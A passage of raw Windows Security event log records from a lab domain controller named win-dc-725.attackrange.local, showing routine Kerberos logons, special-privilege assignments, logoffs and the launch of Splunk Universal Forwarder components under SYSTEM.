- -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255736 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x353693 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255735 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x353617 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64694 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255734 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x353617 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255733 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3535CE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255732 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3535CE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255731 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3534A1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64693 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255730 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3534A1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255741 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255745 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1088 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255746 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:32:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255747 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x353693 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255750 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x356E0E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:32:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255749 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x356E0E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64707 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:32:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255748 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x356E0E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:33:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255752 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1178 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255753 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program 